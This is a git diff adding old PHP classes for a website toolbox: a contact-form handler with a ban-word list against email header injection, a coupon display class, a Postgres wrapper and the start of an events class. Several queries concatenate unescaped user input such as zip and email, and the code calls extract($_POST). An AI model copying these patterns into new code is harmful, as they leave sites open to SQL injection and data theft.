+                                               //      unset( $_POST[$val['name']] );
+                                               //}
+                                       break;
+
+                                       default:
+                                               if( strstr($_POST[$val['name']],"\n") )
+                                               {
+                                                       if( $val['req'] == 1 )
+                                                       {
+                                                               $error[$val['name']] = 1;
+                                                       }
+                                                       unset( $_POST[$val['name']] );
+                                               }
+                                               if( strstr($_POST[$val['name']],"@") )
+                                               {
+                                                       if( $val['req'] == 1 )
+                                                       {
+                                                               $error[$val['name']] = 1;
+                                                       }
+                                                       unset( $_POST[$val['name']] );
+                                               }
+                                       break;
+                               }
+                       }
+               }
+               return( $error );
+       }
+
+       /**
+       * form_process: process the form checking for any required form values as set up in the
+       * DB_fields array.
+        * 
+        * @return error array if bad 
+        * @access public
+        **/
+       function form_process()
+       {
+               $ban_words[] = "content-type";
+               $ban_words[] = "content-transfer-encoding";
+               $ban_words[] = "mime-version";
+               $ban_words[] = "cc\:";
+               $ban_words[] = "bcc\:";
+               
+               if(is_array($_POST))
+               {
+                       foreach($_POST as $k=>$v)
+                       {
+                               if( !is_array( $v ))
+                               {
+                                       $_POST[$k] = trim(stripslashes($v));
+                               }
+                               foreach($ban_words as $k => $word)
+                               {
+                                       $wordstr = "/$word/i";
+                                       if(preg_match($wordstr,$v))
+                                       {
+                                               // let's unset the $_POST array
+                                               foreach( $_POST as $key => $val )
+                                               {
+                                                       $_POST[$key] = '';
+                                               }
+                                               // if we matched, return.
+                                               return( true );
+                                       }
+                               }
+                       }
+               }
+               
+               $in_fields[] = create_date;
+               $in_vars[] = date("m-d-Y");
+               if($this->contact_db)
+               {
+                       $data_fields = $this->get_db_fields();
+               }
+               $error = $this->check_valid_fields();
+               if( !$error )
+               {
+                       foreach($this->DB_fields as $key=>$value)
+                       {
+                               if( $value['type'] == 'interest' )
+                               {
+                                       $db_interest_field = $value['name'];
+                               }
+                               if( $value['name'] == 'email' )
+                               {
+                                       if( !GLM_TOOLBOX::valid_email( $_POST[$value['name']] ) )
+                                       {
+                                               $error[$value['name']] = 1;
+                                               unset( $_POST[$value['name']] );
+                                       }
+                               }
+                               if( $value['name'] == 'lname' || $value['name'] == 'fname' )
+                               {
+                                       if( strstr( $_POST[$value['name']], "\n" ) )
+                                       {
+                                               $error[$value['name']] = 1;
+                                               unset( $_POST[$value['name']] );
+                                       }
+                               }
+                               if( $value['name'] == 'zip' && $_POST['zip'] != '' )
+                               {
+                                       $query = "select state from zip where zipcode = '".$_POST['zip']."';";
+                                       $zipDB =& new GLM_DB();
+                                       $zipDB->host = 'ds4.gaslightmedia.com';
+                                       $zipDB->dbname = 'zip_v2';
+                                       $zipDB->user = 'nobody';
+                                       $zipDB->conn = 0;
+                                       if( $res = $zipDB->db_auto_get_data( $query ) ) 
+                                       {
+                                               if( count( $res ) == 0 )
+                                               {
+                                                       if( $value['req'] == 1)
+                                                       {
+                                                               $error[$value['name']] = 1;
+                                                       }
+                                                       unset( $_POST[$value['name']] );
+                                               }
+                                       }
+                                       else
+                                       {
+                                               if( $value['req'] == 1)
+                                               {
+                                                       $error[$value['name']] = 1;
+                                               }
+                                               unset( $_POST[$value['name']] );
+                                       }
+                               }
+                               if( $value['req'] == 1 && $_POST[$value['name']] == "")
+                               {
+                                       $error[$value['name']] = 1;
+                               }
+                               if( is_array( $data_fields ) && in_array( $value['name'], $data_fields ) )
+                               {
+                                       if( $value['type'] == "interest" && is_array( $_POST['interest']) )
+                                       {
+                                               $in_fields[] = $value['name'];
+                                               $in_vars[] = ':'.implode(":",$_POST['interest']).':';
+                                               $_POST['interest'] = ':'.implode(":",$_POST['interest']).':';
+                                       }
+                                       elseif( $value['type'] == 'radio' )
+                                       {
+                                               $in_fields[] = $value['name'];
+                                               $in_vars[] = ( $_POST[$value['name']] == 't' ) ? 't': 'f';
+                                       }
+                                       elseif($value['name'] != "comments" && $value['name'] != 'verify_email' )
+                                       {
+                                               $in_fields[] = $value['name'];
+                                               $in_vars[] = addslashes(trim($_POST[$value['name']]));
+                                       }
+                               }
+                       }
+               }
+               if( $_POST['email'] )
+               {
+                       if( $_POST['email'] != $_POST['verify_email']  )
+                       {
+                               $error['verify_email'] = 1;
+                       }
+                       if( $db_interest_field )
+                       {
+                               $query = "select id,$db_interest_field from contact where email = '".$_POST['email']."'";
+                       }
+                       else
+                       {
+                               $query = "select id from contact where email = '".$_POST['email']."'";
+                       }
+                       if( $cData = $this->CDB->db_auto_get_data( $query ) )
+                       {
+                               $update = $cData[0]['id'];
+                       }
+               }
+               if(count($error) > 0)
+               {
+                       return($error);
+               }
+               if($this->contact_db)
+               {
+                       if( $update )
+                       {
+                               if( is_array( $in_fields ) && is_array( $in_vars ) )
+                               {
+                                       if( $db_interest_field )
+                                       {
+                                               $interest_string = ereg_replace("^:|:$","",$_POST['interest']);
+                                               if( $interest_string )
+                                               {
+                                                       $interest_array = explode(":",$interest_string);
+                                               }
+                                               $f_int_string = ereg_replace("^:|:$","",$cData[0][$db_interest_field]);
+                                               if( $f_int_string )
+                                               {
+                                                       $f_int_array = explode(":",$f_int_string);
+                                               }
+                                               if( is_array( $f_int_array ) )
+                                               {
+                                                       $diff_array = array_diff( $interest_array, $f_int_array );
+                                               }
+                                               else
+                                               {
+                                                       $diff_array = $interest_array;
+                                               }
+                                               //print_r($_POST);
+                                               if( is_array( $diff_array ) && is_array( $f_int_array ) )
+                                               {
+                                                       $new_interest = ':'.implode(":",$f_int_array).':'.implode(":",$diff_array).':';
+                                               }
+                                               elseif( is_array( $f_int_array ) )
+                                               {
+                                                       $new_interest = ':'.implode(":",$f_int_array).':';
+                                               }
+                                               elseif( is_array( $diff_array ) )
+                                               {
+                                                       $new_interest = ':'.implode(":",$diff_array).':';
+                                               }
+                                               /*
+                                               echo '<pre>';
+                                               echo "f_int_string $f_int_string\n";
+                                               echo "interest_array\n";
+                                               print_r( $interest_array );
+                                               echo "f_int_array\n";
+                                               print_r( $f_int_array );
+                                               echo "diff_array\n";
+                                               print_r( $diff_array );
+                                               echo "new_interest = $new_interest\n";
+                                               echo '</pre>';
+                                       */
+                                               if( is_array( $diff_array ) && count( $diff_array ) > 0 && is_array( $f_int_array ) )
+                                               {
+                                                       $new_interest = ':'.implode(":",$f_int_array).':';
+                                                       foreach( $diff_array as $diff_key )
+                                                       {
+                                                               if( $diff_key )
+                                                               {
+                                                                       $new_interest .= implode(":",$diff_array).':';
+                                                               }
+                                                       }
+                                               }
+                                               elseif(is_array( $f_int_array ))
+                                               {
+                                                       $new_interest = ':'.implode(":",$f_int_array).':';
+                                               }
+                                       }
+                                       $query = 'update contact set ';
+                                       for( $i = 0; $i < count($in_fields); $i++ )
+                                       {
+                                               if( $in_fields[$i] ==  $db_interest_field )
+                                               {
+                                                       $query .= $in_fields[$i]." = '".$new_interest."' ";
+                                               }
+                                               else
+                                               {
+                                                       $query .= $in_fields[$i]." = '".$in_vars[$i]."' ";
+                                               }
+                                               if( $i != count( $in_fields ) - 1 )
+                                               {
+                                                       $query .= ',';
+                                               }
+                                       }
+                                       $query .= " where id = ".$update.";";
+                               }
+                       }
+                       else
+                       {
+                               if(is_array($in_fields))
+                               {
+                                       $infds = implode(",",$in_fields);
+                               }
+                               if(is_array($in_vars))
+                               {
+                                       $invars = implode("','",$in_vars);
+                               }
+                               $query = "INSERT INTO ".$this->table_name." 
+                                       ($infds)
+                                       VALUES
+                                       ('$invars')";
+                       }
+                       $this->CDB->db_auto_exec($query);
+               }
+               // adding comments again
+               $in_fields[] = "comments";
+               $in_vars[] = $_POST['comments'];
+               if( $this->email != '' && $_POST['email'] != '' && GLM_TOOLBOX::valid_email( $_POST['email'] )  )
+               {
+                       //mail the contact info to mail address.
+                       $body = '
+                       <html>
+               <style type="text/css">
+               <!--
+               body { background-color: #fff;
+                       color: black;
+                       font-family: verdana, arial, helvetica, sans-serif;
+                       }
+               h1, h2 {font-family: arial, helvetica, sans-serif;}     
+               h1 {font-size: 18px; }
+               h2 {font-size: 16px; margin-bottom: 5px;}
+               p {font-size: 12px;}
+               .label {
+                       font-weight: bold; 
+                       background-color: transparent;
+                       text-align: right;
+                       width: 200px;
+                       padding: 5px;
+                       }
+               .field {
+                       //background-color: #F2F7FB;
+                       background-color: #fff;
+                       padding: 3px;
+                       }
+               table.data { 
+                       //background-color: #F9FBFD; 
+                       background-color: #fff; 
+                       color: #000; 
+                       width: 500px;  
+                       //border: 1px solid #D7E5F2; 
+                       border: 1px solid #ccc; 
+                       border-collapse: collapse; 
+                       margin-left: 20px;
+                       }
+               table.data td { 
+                       //border: 1px solid #D7E5F2; 
+                       border: 1px solid #ccc; 
+                       padding-left: 4px; 
+                       font-size: 12px;
+                       }       
+               -->
+</style><body>
+               
+<h1>'.$this->subject.'</h1>
+<h2>From  '.(($_POST["fname"])?' '.$_POST["fname"].'':'').' '.(($_POST["lname"])?' '.$_POST["lname"].'':'').'</h2>
+<h2>Information</h2>
+<table class="data">   
+                               ';
+                       if( $_POST['interest'] )
+                       {
+                               $interest = ereg_replace( "^:|:$","",$_POST['interest'] );
+                               $_POST['interest'] = explode(":",$interest);
+                       }
+                       foreach($this->DB_fields as $key=>$value)
+                       {
+                               if($value['type']=="radio")
+                               {
+                                       $body .= ' <tr><td class="label">'.$value["title"].'</td><td class="field"> ';
+                                       $body .= ($_POST[$value['name']] == 't')?'Yes':'No';
+                                       $body .= '</td></tr>';
+                                       $body .= "\n";
+                               }
+                               elseif( $value['type'] == 'date' )
+                               {
+                                       $date_row = $_POST[$value['name'].'_month'].'-';
+                                       $date_row .= $_POST[$value['name'].'_day'].'-';
+                                       $date_row .= $_POST[$value['name'].'_year'];
+                                       $body .= ' <tr><td class="label">'.$value["title"].'</td><td class="field"> ';
+                                       $body .= $date_row;
+                                       $body .= '</td></tr>';
+                                       $body .= "\n";
+                               }
+                               elseif( $value['type'] == 'interest' && is_array($_POST['interest']) )
+                               {
+                                       $body .= '
+                                               <tr><td class="label">Area of Interest:</td><td class="field">
+                                               ';
+                                       foreach( $_POST['interest'] as $pkk => $pvv )
+                                       {
+                                               $body .= $this->int_array[$pvv].'<br> ';
+                                       }
+                                               $body .= '
+                                               </td></tr>
+                                               ';
+                               }
+                               elseif($_POST[$value['name']] != '' && $value['name'] != 'verify_email' )
+                               {
+                                       $body .= ' <tr><td class="label">'.$value["title"].'</td><td class="field"> ';
+                                       $body .= $_POST[$value['name']];
+                                       $body .= '</td></tr>';
+                                       $body .= "\n";
+                               }
+                       }
+                       // need to strip the commas from the names if used in the headers
+                       $_POST['fname'] = stripslashes(str_replace(",","",$_POST['fname']));
+                       $_POST['fname'] = str_replace("\n","",$_POST['fname']);
+                       $_POST['lname'] = stripslashes(str_replace(",","",$_POST['lname']));
+                       $headers = "From: ".$_POST['fname']." ".$_POST['lname']." <".$_POST['email'].">\n"
+                               . "Reply-To:  ".$_POST['fname']." ".$_POST['lname']." <".$_POST['email'].">\n"
+                        .  "MIME-Version: 1.0\n" 
+                        .  "Content-type: text/html; charset=iso-8859-1";
+
+                       $body .= '
+                       </table>
+<div>&nbsp;</div><br clear="all">
+</body>
+</html>
+';
+                       mail($this->email,$this->subject,$body,$headers);
+                       echo '<div style="font-size:14px; margin: 20px;">Thank You, your message is sent.</div>';
+               }
+       }
+}
+?>
diff --git a/classes/class_coupon.inc b/classes/class_coupon.inc
new file mode 100755 (executable)
index 0000000..6e05046
--- /dev/null
@@ -0,0 +1,269 @@
+<?php
+extract($_POST);
+define("GLM_COUPON",true);
+class GLM_COUPON 
+       {
+               var $Db;
+               var $table;
+               var $formHeader;
+               var $Result;
+               var $catid;
+               var $toolbox;
+
+               /**
+                * GLM_COUPON:
+                * @param $table: 
+                * @param $DB: 
+                * 
+                * @return 
+                * @access 
+                **/
+               function GLM_COUPON( $table, &$DB, &$toolbox )
+               {
+                       $this->setDb( &$DB );
+                       $this->setTable( $table );
+                       $this->setCatid();
+                       $this->toolbox =& $toolbox;
+               }
+
+               /**
+                * setCatid:
+                * 
+                * @return 
+                * @access 
+                **/
+               function setCatid()
+               {
+                       if( isset( $_POST['coupon_catid'] ) )
+                       {
+                               $this->catid = $_POST['coupon_catid'];
+                       }
+                       if( isset( $_GET['coupon_catid'] ) )
+                       {
+                               $this->catid = $_GET['coupon_catid'];
+                       }
+                       $this->setResult();
+               }
+
+               /**
+                * setFormHeader:
+                * 
+                * @return 
+                * @access 
+                **/
+               function setFormHeader()
+               {
+                       $this->formHeader = '';
+               }
+
+               /**
+                * setTable:
+                * @param $$table : 
+                * 
+                * @return 
+                * @access 
+                **/
+               function setTable( $table )
+               {
+                       $this->table = $table;
+               }
+
+               /**
+                * setDb:
+                * @param $&$DB : 
+                * 
+                * @return 
+                * @access 
+                **/
+               function setDb( &$DB )
+               {
+                       $this->Db = &$DB;
+               }
+
+               /**
+                * setResult:
+                * 
+                * @return 
+                * @access 
+                **/
+               function setResult()
+               {
+                       $catid = ( is_numeric( $this->catid ) ) ? ' and cc.id = '.$this->catid: '';
+                       $query = "SELECT        c.* , cc.name as category, date_part('epoch',c.edate) as expire
+                               FROM            coupons c left outer join coupon_category cc on ( cc.id = c.catid )
+                               WHERE   c.sdate <= CURRENT_DATE 
+                               AND     c.edate > CURRENT_DATE
+                               $catid
+                               AND     c.active = 't'
+                               order by cc.name,c.sdate";
+                       $data = $this->Db->db_auto_get_data($query);
+                       $this->Result = $data;
+               }
+
+               /**
+                coupon head
+                */
+               function coupon_head()
+               {
+                       $out = '
+                       <a href="http://www.adobe.com/products/acrobat/readstep2.html" target="_blank"><img src="'.BASE_URL.'assets/getacro.gif" alt="Acrobat Reader" style="float: right; margin: 0 0 10px 10px; border: 0;" height="31" width="88"></a>
+                               <p>You
+will need Adobe Acrobat Reader to view and print the documents
+contained witin this section. You can download the Reader for free at <a href="http://www.adobe.com/products/acrobat/readstep2.html" target="_blank">Adobe Online</a>.</p>
+                               <p>Select
+your coupons by selecting them and click "Print Selected Coupons" or
+"Print These Coupons" to select all. When coupons show up in a new
+window, click the Print button.</p>    
+                               ';
+                       return( $out );
+               }
+               
+               /**
+                * getCategories:
+                * 
+                * @return 
+                * @access 
+                **/
+               function getCategories()
+               {
+                       $query = "select cc.name,cc.id 
+                       from coupon_category cc 
+                       left outer join coupons c on (c.catid = cc.id) 
+                       where c.sdate <= CURRENT_DATE 
+                       and     c.edate > CURRENT_DATE
+                       and c.active = 't' 
+                       group by cc.id,cc.name
+                       order by id
+                       ;";
+                       if( is_array( $data = $this->Db->db_auto_get_data( $query ) ) )
+                       {
+                               $page = $this->toolbox->get_seo_url( $_GET['catid'] );
+                               $out = '<form action="'.$page.'" method="POST">
+                                       ';
+                               $out .= '<select class="couponprint" name="coupon_catid">
+                                       ';
+                               //$out = '                      <p>Choose a coupon category:</p>';
+                               $out .= '<option value="">All Categories</option>';
+                               foreach( $data as $key => $value )
+                               {
+                               //      $url_name = 'index.php?catid=400&amp;coupon_catid='.$value['id'];
+                                       $out .= '
+                                               <option value="'.$value["id"].'">'.$value["name"].'</option>';
+                                       //$out .= '<div class="couponcatheader"><a href="'.BASE_URL.''.$url_name.'">'.$value["name"].'</a></div>';
+                               }
+                               $out .= '
+                                       </select>';
+                               $out .= '
+                                       <input class="couponprint" type="submit" value="Search">
+                                       </form>
+                                       ';
+                       }
+                       echo $out;
+               }
+
+
+               /**
+                * showResult:
+                * 
+                * @return 
+                * @access 
+                **/
+               function showResult()   
+               {
+               if( is_array( $this->Result ) )
+                       {
+                               $out = '';
+                               //$out = '<a href="'.BASE_URL.'coupon.phtml" class="back">&#171; Back to Coupons</a>';
+                               $count = 0;
+                               $form_header = '<form action="'.BASE_URL.'coupons/print.php" name="coupon" method="POST" onSubmit="
+                                       var checkcount = 0;
+                               ';
+                               $cat = '';
+                               foreach( $this->Result as $key => $val )
+                               {
+                                       if( $cat != $val['category'] )
+                                       {
+                                               if( $cat != '' )
+                                               {
+                                                       $out .= '</div>';
+                                               //$out .= '<br clear="all"><br clear="all">';
+                                               }
+                                               $out .= '<div class="couponcontainer">';
+                                               $out .= '<div class="couponheader">'.$val['category'].'</div>';
+
+                                       }
+                                       $cat = $val['category'];
+                                       if($count%2 == 0)
+                                       {
+                                               $align = "left";
+                                       }
+                                       else
+                                       {
+                                               $align = "right";
+                                       }
+                                       $form_header .= "\nif(coupon.coupon_".$val['id'].".checked){ 
+                                               checkcount++;
+                               }\n";
+                               $image = ( $val['image'] != '' ) ? '<img src="'.RESIZED.$val['image'].'" /><br />' : '';
+                               $out .= '<div class="couponblock">
+                                       <strong>'.$val["title"].'</strong>
+                                       '.$image.'
+                                       ';
+                               $out .= ''.$val["description"].'<br>';
+                               if($val["url"])
+                               {
+                                       $out .= '<a href="http://'.$val["url"].'" target="_blank">http://'.$val["url"].'</a>';
+                               }
+                               $out .= '
+                               <input type="checkbox" name="coupon_'.$val["id"].'" value="T"> ';
+                               $out .= '<div class="expire_date">Expires: '.date("n/j/Y",$val["expire"]).'</div>';
+                               $out .= '</div>';
+
+                               //if($count%2 != 0)
+                               //{
+                                       $out .= '<div class="clearer"></div>';
+                       //      }
+
+                               $count++;
+                               //$out .= '</div>';
+                               }
+                               $out .= '</div>';
+                       $form_header .= '
+                               if(allcats.value == 0)
+                               {
+                                       if(checkcount == 0)
+                                       {
+                                               alert(\'You must select a coupon for printing!\');
+                                               return(false);
+                                       }
+                                       else
+                                               return(createTarget(this.target));
+                               }
+                               else
+                                       return(createTarget(this.target));
+                       " target="formtarget">';
+                       $out .= ' <script type="text/javascript">
+                               function createTarget(t)
+                               {
+                                       window.open("", t, "width=600,height=550,resizable=yes");
+                                       return true;
+                               }
+                               function allcat(Mvalue)
+                               {
+                                       document.coupon.allcats.value = Mvalue;
+                               }
+                       </script>
+                               <div>
+                               <input type="hidden" name="allcats" value="0">
+                               <input type="hidden" name="coupons_catid" value="'.$this->catid.'">
+                               <input type="submit" class="couponprint" value="Print all coupons" onClick="allcat(\'1\')">
+                               <input type="submit" class="couponprint" value="Print selected coupons" onClick="allcat(\'0\')">
+                               </div>
+                               </form> ';
+                       echo $form_header;
+                       echo $out;
+                       }
+                       //return( $out );
+               }
+       }
+?>
diff --git a/classes/class_db.inc b/classes/class_db.inc
new file mode 100755 (executable)
index 0000000..8355257
--- /dev/null
@@ -0,0 +1,483 @@
+<?php
+/** 
+ *     Toolbox Classes :)
+ * 
+ *     <p>
+ * Database abstraction layer for postgres (mainly)
+ * Database abstraction layer for postgres (mainly)
+ *     </p>
+ *
+ *     @package Toolbox Library
+ *     @subpackage Database Library
+ * @filesource
+ * 
+*/
+/**
+ *     Database Class :)
+ *
+ *     <p>
+ *  $Id: class_db.inc,v 1.1.1.1 2006/04/25 18:14:59 cscott Exp $
+ *     </p>
+ *     <p>Database abstraction layer for postgres
+ *     </p>
+ *
+ *     @package Toolbox Library
+ *     @subpackage Database Library
+ *     @author $Author: cscott $
+ *     @copyright 2005
+ *     @version $Revision: 1.1.1.1 $
+ *     @since $Date: 2006/04/25 18:14:59 $
+ * @todo create mysql part of these function for abstraction also
+ * 
+*/
+class GLM_DB 
+       {
+               /**
+                * host 
+                * string host database host server name
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $host;
+               /**
+                * dbname 
+                * string dbname name of the database 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $dbname;
+               /**
+                * user 
+                * string user The user to connect as
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $user;
+               /**
+                * password 
+                * string password The users password if any 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $password;
+               /**
+                * dbd 
+                * string dbd Database connection result ID#
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $dbd;
+               /**
+                * conn 
+                * string conn string postgres connection string default = CONN_STR
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $conn;
+               /**
+                * trans 
+                * boolean trans bool if true a transaction is in process 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $trans;
+               /**
+                * dbd 
+                * resource dbd connection object from postgres
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $dbd;
+               /**
+                * Result 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $Result;
+
+               function GLM_DB( $conn = CONN_STR )
+               {
+                       $this->host = "";
+                       $this->dbname = "";
+                       $this->user = "nobody";
+                       $this->password = "";   
+                       $this->conn = $conn;
+                       $this->trans = 0;       
+                       $this->dbd = "";
+               }
+
+               /** 
+               * db_connect
+               *
+               * Creates a connection to database specified $conn_str, 
+               * and returns a boolean for success.                    
+               *
+               * @uses GLM_DB::$dbd
+               * @uses GLM_DB::$conn
+               * @uses GLM_DB::$dbname
+               * @uses GLM_DB::$host
+               * @uses GLM_DB::$user
+               * @uses GLM_DB::$password
+               * {@source } 
+               * @param conn_str       Connect String                                          
+               * @param fail_mode      Failure Mode TRUE = Abort with HTML FALSE = Return with fail code
+               * @returns int 
+               * @access public 
+                */
+
+               function db_connect()
+               {
+                       if( isset( $this->dbd ) && $this->dbd != "" )
+                       {
+                               return( $this->dbd );   
+                       }
+                       switch ( DB_TYPE )
+                       {
+                               case "postgres":
+                                       if( $this->host == "" && $this->dbname == "" )
+                                       {
+                                               $conn = $this->conn;// CONN_STR;
+                                       }
+                                       else
+                                       {       
+                                               $conn .= ( $this->host ) ? 'host='.$this->host.' ' : '';
+                                               $conn .= ( $this->dbname ) ? 'dbname='.$this->dbname.' ' : '';
+                                               $conn .= ( $this->user ) ? 'user='.$this->user." " : '';
+                                               $conn .= ( $this->password ) ? "password=".$this->password : '';
+                                       }
+                                       if( !$this->dbd = pg_connect( $conn ) )
+                                       {
+                                               echo pg_errormessage( $conn );
+                                       }
+                                       break;
+
+                               default:
+                                       return( 0 );
+                                       break;
+                       }
+                       return( $this->dbd );           
+               }
+
+               /** db_close 
+                 *
+                 * Closes the connection to database specified by the handle dbd       
+                 * returns a boolean for success                                       
+                 *
+                 * {@source } 
+                 * @returns bool - Returns 1 on success 0 if dbd is not a valid connection     
+               * @access public 
+                */
+
+               function db_close()
+               {
+                       switch (DB_TYPE)
+                       {
+                               case "postgres":
+                                       @pg_close($this->dbd);
+                               break;
+                               default:
+                               return(0);
+                       }
+               }
+
+               /** db_exec
+               *
+               *  Execute an SQL query, * returning a valid result index or zero(0) on 
+               *  failure.                                                             
+               *
+               * {@source } 
+               *  @param $qs -- SQL query string                               
+               *  @returns int Returns a valid result index on success 0 on failure    
+               * @access public 
+               */
+               function db_exec( $qs )
+               {
+                       if( !$this->dbd )
+                       {
+                               $this->dbd = $this->db_connect();       
+                       }
+                       switch ( DB_TYPE )
+                       {
+                               case "postgres":
+                                       if(!$ret = pg_exec( $this->dbd, $qs ) )
+                                               echo "<font color=red>".$qs."</font>";
+                               break;
+                               default:
+                               return( 0 );
+                       }
+                       return( $ret );
+               }
+
+               /** db_fetch_array
+               *
+               *  Stores the data in associative indices, using the field names as     
+               *  keys.                                                                
+               *
+               * {@source } 
+               *  @param $res -- valid database result index                   
+               *  @param $i -- row number                                      
+               *  @param $type -- PGSQL_ASSOC,PGSQL_BOTH,PGSQL_NUM                                     
+               *  @returns array Returns an associative array of key-value pairs               
+               * @access public 
+               */
+
+               function db_fetch_array( $res, $i, $type )
+               {
+                       switch ( DB_TYPE )
+                       {
+                               case "postgres":
+                                       $row = pg_fetch_array( $res, $i, $type );
+                               break;
+
+                               default:
+                               return( 0 );
+                       }
+                       return( $row );
+               }
+
+               /** db_freeresult
+               *
+               *  Free result memory.                                                  
+               *
+               * {@source } 
+               *  @param $res -- valid database result index                   
+               *  @returns bool - Returns 1 for success 0 for failure                  
+               * @access public 
+               */
+
+               function db_freeresult( $res )
+               {
+                       switch ( DB_TYPE )
+                       {
+                               case "postgres":
+                                       $ret = pg_freeresult( $res );
+                               break;
+
+                               default:
+                               return( 0 );
+                       }
+                       return( $ret );
+               }
+
+               /** db_numrows
+               *
+               *  Determine number of rows in a result index                           
+               *
+               * {@source } 
+               *  @param $res -- valid database result index                   
+               *  @returns int - Returns number of rows                                        
+               * @access public 
+               */
+
+               function db_numrows( $res )
+               {
+
+                       switch ( DB_TYPE )
+                       {
+                               case "postgres":
+                                       $ret = pg_numrows( $res );
+                               break;
+
+                               default:
+                               return( -1 );
+                       }
+                       return( $ret );
+               }
+               /** db_auto_get_array
+               *
+               *  The auto function for retrieving an array based soley on a query     
+               *  string. This function makes the connection, does the exec, fetches   
+               *  the array, closes the connection, frees memory used by the result,   
+               *  and then returns the array                                           
+               *
+               * {@source } 
+               *  @param $qs   SQL query string                                
+               *  @param $i            row number                                      
+               *  @param $type PGSQL_ASSOC or PGSQL_BOTH or PSQL_NUM                                           
+               *  @returns array - Returns an associative array of key-value pairs             
+               * @access public 
+               */
+
+               function db_auto_array( $qs, $i, $type )
+               {
+
+                       $dbd = $this->db_connect();
+                       if( !$dbd )
+                       {
+                               return( 0 );
+                       }
+                       $res = db_exec( $dbd, $qs );
+                       if( !$res )
+                       {
+                               return( 0 );
+                       }
+
+                       $row = db_fetch_array( $res, $i, $type );
+
+                       if(!db_freeresult( $res ) )
+                       {
+                               return( 0 );
+                       }
+
+                       return( $row );
+               }
+
+               /** db_auto_exec
+               *
+               *  The auto function for executing a query.                             
+               *  This function makes the connection, does the exec, fetches           
+               *  the array, closes the connection, frees memory used by the result,   
+               *  and then returns success (not a valid result index)                  
+               *
+               * {@source } 
+               *  @param $qs   SQL query string                                
+               *  @returns int - Returns 1 for success 0 for failure                   
+               * @access public 
+               */
+
+               function db_auto_exec( $qs )
+               {
+                       $this->db_connect();
+                       if( !$this->dbd )
+                       {
+                               return( 0 );
+                       }
+                       if( !$this->db_exec( $qs ) )
+                       {
+                               return( 0 );
+                       }
+                       else 
+                       {
+                               return( 1 );
+                       }
+               }
+               /** db_auto_get_data
+               *
+               *  <p>The auto function for retrieving an array based soley on a query  
+               *  string. This function makes the connection, does the exec, fetches   
+               *  the array, closes the connection, frees memory used by the result,   
+               *  and then returns the array.</p>
+               *
+               * {@source } 
+               *  @param string $qs    SQL query string                                
+               *  @returns     mixed
+               * @access public 
+               */
+
+               function db_auto_get_data( $qs ) 
+               {
+                       if( !$this->dbd )
+                       {
+                               $this->db_connect();
+                       }
+                       if( !( $res = $this->db_exec( $qs ) ) )
+                       {
+                               return( FALSE );
+                       }
+                       $totalrows = pg_NumRows( $res );
+                       for( $i = 0 ; $i < $totalrows ; $i++ )
+                       {
+                               $data[$i] = $this->db_fetch_array ($res, $i, PGSQL_ASSOC );
+                       }
+                       if( isset( $data ) && $data != "" )     
+                       {
+                               return( $data );
+                       }
+                       else
+                       {
+                               return( 0 );
+                       }
+               }
+
+               /** trans_start
+               *
+               * Start a postgres transaction 
+               *
+               * {@source } 
+               *  @returns bool true if sucessful
+               * @access public 
+               */
+               function trans_start()
+               {
+                       if( !$this->trans )
+                       {
+                               if( !$this->dbd = $this->db_connect() )
+                               {
+                                       $this->trans = false;
+                                       return( false );
+                               }
+                               else
+                               {
+                                       $this->db_exec( "BEGIN WORK;" );
+                                       $this->trans = true;
+                                       return( true );
+                               }
+                       }
+                       else
+                       {
+                               return( true );
+                       }
+               }
+
+               /** trans_end
+                *
+                * Commit the postgres transaction  
+                *
+                * {@source } 
+                * @returns bool true if successful
+               * @access public 
+                */
+               function trans_end()
+               {
+                       if( !$this->trans )
+                       {
+                               if(!$this->db_exec( "COMMIT WORK;" ) )
+                               {
+                                       return( false );
+                               }
+                               else
+                                       return( true );
+                       }
+                       else
+                               return( false );
+               }
+               /** trans_exec
+               *
+               *  exec a postgres query in a 
+               *  postgres transaction
+               *
+               * {@source } 
+               *  @param string query 
+               * @access public 
+               */
+               function trans_exec( $query )
+               {
+                       if( $query != "" )
+                       {
+                               if(!$ret = $this->db_exec( $query ) )
+                               {
+                                       $this->db_exec( "ABORT WORK;" );
+                                       return( false );
+                               }
+                               else
+                               {
+                                       return( $ret );
+                               }
+                       }
+                       else
+                       {
+                               return( false );
+                       }
+               }
+       }
+?>
diff --git a/classes/class_events.inc b/classes/class_events.inc
new file mode 100755 (executable)
index 0000000..9156ab5
--- /dev/null
@@ -0,0 +1,872 @@
+<?php
+/**
+ *
+ * Library for the generation of the detail events 
+ *
+ * <p>USAGE:  to build an event calendar create the events class. thats it.  <br>Pass it second param of 'Flat' to change to flat layout.</p>
+ *
+ * @package Toolbox 
+ * @subpackage Event
+ * @filesource
+ */
+/**
+ * Require DocBlock
+ */
+require_once(BASE.'classes/class_db.inc');
+/**
+ * Require DocBlock
+ */
+require_once(BASE.'classes/class_template.inc');
+/**
+ *
+ * Library for the generation of the detail events 
+ *
+ * <p>USAGE:  to build an event calendar create the events class. thats it.  <br>Pass it second param of 'Flat' to change to flat layout.</p>
+ * <code>
+ * $Cal =& new GLM_EVENTS();
+ * </code>
+ *
+ * @package Toolbox
+ * @subpackage Event
+ * @category Events
+ * @author Steve Sutton
+ * @version $Revision: 1.1.1.1 $
+ * @since $Date: 2006/04/25 18:14:59 $
+ */
+class GLM_EVENTS extends GLM_TEMPLATE{
+       /**
+        * @access public
+        * @var integer 
+        */
+       var $topicid;
+       /**#@+
+        * @access public
+        * @var string 
+        */
+       var $page_name;
+       /** 
+        * Type of display flat or calendar based on weather or not a topicid exists.
+        */
+       var $display_type;
+       /**#@-*/
+
+       /**#@+
+        * @access public
+        * @return void
+        */
+       function GLM_EVENTS()
+       {
+               parent::GLM_TEMPLATE( $GLOBALS['catid'] );
+               $this->topicid = $GLOBALS['topicid'];
+               $this->page_name = BASE_URL.'events.phtml';//$GLOBALS['PHP_SELF'];
+               $this->display_type = $this->get_type(); // Calendar or Flat 
+               $this->get_events();
+       }
+       function get_type()
+       {
+               if( ( $_POST['EventDateTo'] && $_POST['EventDateFrom'] ) )
+               {
+                       if( strtotime( $_POST['EventDateTo'] ) == -1 )
+                       {
+                               return('Calendar');
+                       }
